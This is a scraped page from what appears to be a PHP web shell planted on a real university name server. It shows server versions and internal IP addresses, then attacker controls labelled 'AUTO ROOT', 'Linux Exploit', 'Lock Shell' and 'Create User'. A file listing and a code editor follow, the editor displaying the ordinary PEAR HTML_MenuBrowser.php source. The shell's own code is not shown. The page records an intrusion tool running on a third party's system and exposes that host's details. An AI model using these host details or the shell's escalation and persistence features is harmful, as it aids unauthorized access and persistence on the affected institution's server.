Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
HTML /
[ HOME SHELL ]
Name
Size
Permission
Action
BBCodeParser
[ DIR ]
drwxr-xr-x
BBCodeParser2
[ DIR ]
drwxr-xr-x
CSS
[ DIR ]
drwxr-xr-x
Javascript
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Progress
[ DIR ]
drwxr-xr-x
QuickForm
[ DIR ]
drwxr-xr-x
QuickForm2
[ DIR ]
drwxr-xr-x
Select
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Template
[ DIR ]
drwxr-xr-x
BBCodeParser2.php
29.97
KB
-rw-r--r--
BBCodeParser.php
30.62
KB
-rw-r--r--
Common2.php
16.72
KB
-rw-r--r--
Common.php
12.76
KB
-rw-r--r--
Crypt.php
7.87
KB
-rw-r--r--
CSS.php
94.96
KB
-rw-r--r--
Javascript.php
17.44
KB
-rw-r--r--
MenuBrowser.php
7.68
KB
-rw-r--r--
Menu.php
18.16
KB
-rw-r--r--
Progress.php
77.04
KB
-rw-r--r--
QuickForm2.php
8.35
KB
-rw-r--r--
QuickForm.php
78.64
KB
-rw-r--r--
Table.php
37.74
KB
-rw-r--r--
TreeMenu.php
32.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MenuBrowser.php
<?php /** * Simple filesystem browser that can be used to generate menu hashes * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.01 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_01.txt If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category HTML * @package HTML_Menu * @author Ulf Wendel <ulf.wendel@phpdoc.de> * @author Sebastian Bergmann <sb@sebastian-bergmann.de> * @author Alexey Borzov <avb@php.net> * @copyright 2001-2007 The PHP Group * @license http://www.php.net/license/3_01.txt PHP License 3.01 * @version CVS: $Id: MenuBrowser.php,v 1.5 2007/05/18 20:54:33 avb Exp $ * @link http://pear.php.net/package/HTML_Menu */ /** * Simple filesystem browser that can be used to generate menu (3) hashes based on the directory structure. * * Together with menu (3) and the (userland) cache you can use this * browser to generate simple fusebox like applications / content systems. * * Let the menubrowser scan your document root and generate a menu (3) structure * hash which maps the directory structure, pass it to menu's setMethod() and optionally * wrap the cache around all this to save script runs. If you do so, it looks * like this: * * <code> * // document root directory * define('DOC_ROOT', '/home/server/www.example.com/'); * * // instantiate the menubrowser * $browser = new HTML_MenuBrowser(DOC_ROOT); * * // instantiate menu (3) * $menu = new HTML_Menu($browser->getMenu()); * * // output the sitemap * $menu->show('sitemap'); * </code> * * Now, use e.g. simple XML files to store your content and additional menu informations * (title!). Subclass exploreFile() depending on your file format. * * @category HTML * @package HTML_Menu * @author Ulf Wendel <ulf.wendel@phpdoc.de> * @version Release: 2.1.4 */ class HTML_MenuBrowser { /** * Filesuffix of your XML files. * * @var string * @see HTML_MenuBrowser() */ var $file_suffix = 'xml'; /** * Number of characters of the file suffix. * * @var int * @see HTML_MenuBrowser() */ var $file_suffix_length = 3; /** * Filename (without suffix) of your index / start pages. * * @var string * @see HTML_MenuBrowser() */ var $index = 'index'; /** * Full filename of your index / start pages. * * @var string * @see $file_suffix, $index */ var $index_file = ''; /** * Directory to scan. * * @var string * @see setDirectory() */ var $dir = ''; /** * Prefix for every menu hash entry. * * Set the ID prefix if you want to merge the browser menu * hash with another (static) menu hash so that there're no * name clashes with the ids. * * @var string * @see setIDPrefix() */ var $id_prefix = ''; /** * Menu (3)'s setMenu() hash. * * @var array */ var $menu = array(); /** * Creates the object and optionally sets the directory to scan. * * @param string Directory to scan * @param string Filename of index pages * @param string Suffix for files containing the additional data * @see $dir */ function HTML_MenuBrowser($dir = '', $index = '', $file_suffix = '') { if ($dir) { $this->dir = $dir; } if ($index) { $this->index = $index; } if ($file_suffix) { $this->file_suffix = $file_suffix; } $this->index_file = $this->index . '.' . $this->file_suffix; $this->file_suffix_length = strlen($this->file_suffix); } /** * Sets the directory to scan. * * @param string directory to scan * @access public */ function setDirectory($dir) { $this->dir = $dir; } /** * Sets the prefix for every id in the menu hash. * * @param string * @access public */ function setIDPrefix($prefix) { $this->id_prefix = $prefix; } /** * Returns a hash to be used with menu(3)'s setMenu(). * * @param string directory to scan * @param string id prefix * @access public */ function getMenu($dir = '', $prefix = '') { if ($dir) { $this->setDirectory($dir); } if ($prefix) { $this->setIDPrefix($prefix); } // drop the result of previous runs $this->files = array(); $this->menu = $this->browse($this->dir); $this->menu = $this->addFileInfo($this->menu); return $this->menu; } /** * Recursive function that does the scan and builds the menu (3) hash. * * @param string directory to scan * @param integer entry id - used only for recursion * @param boolean ??? - used only for recursion * @return array */ function browse($dir, $id = 0, $noindex = false) { $struct = array(); $dh = opendir($dir); while ($file = readdir($dh)) { if ('.' == $file || '..' == $file) { continue; } $ffile = $dir . $file; if (is_dir($ffile)) { $ffile .= '/'; if (file_exists($ffile . $this->index_file)) { $id++; $struct[$this->id_prefix . $id]['url'] = $ffile . $this->index_file; $sub = $this->browse($ffile, $id + 1, true); if (0 != count($sub)) { $struct[$this->id_prefix . $id]['sub'] = $sub; } } } else { if ($this->file_suffix == substr($file, strlen($file) - $this->file_suffix_length, $this->file_suffix_length) && !($noindex && $this->index_file == $file) ) { $id++; $struct[$this->id_prefix . $id]['url'] = $dir . $file; } } } return $struct; } /** * Adds further informations to the menu hash gathered from the files in it * * @param array Menu hash to examine * @return array Modified menu hash with the new informations */ function addFileInfo($menu) { // no foreach - it works on a copy - the recursive // structure requires already lots of memory reset($menu); while (list($id, $data) = each($menu)) { $menu[$id] = array_merge($data, $this->exploreFile($data['url'])); if (isset($data['sub'])) { $menu[$id]['sub'] = $this->addFileInfo($data['sub']); } } return $menu; } /** * Returns additional menu informations decoded in the file that appears in the menu. * * You should subclass this method to make it work with your own * file formats. I used a simple XML format to store the content. * * @param string filename */ function exploreFile($file) { $xml = join('', @file($file)); if (!$xml) { return array(); } $doc = xmldoc($xml); $xpc = xpath_new_context($doc); $menu = xpath_eval($xpc, '//menu'); $node = &$menu->nodeset[0]; return array('title' => $node->content); } } ?>
Close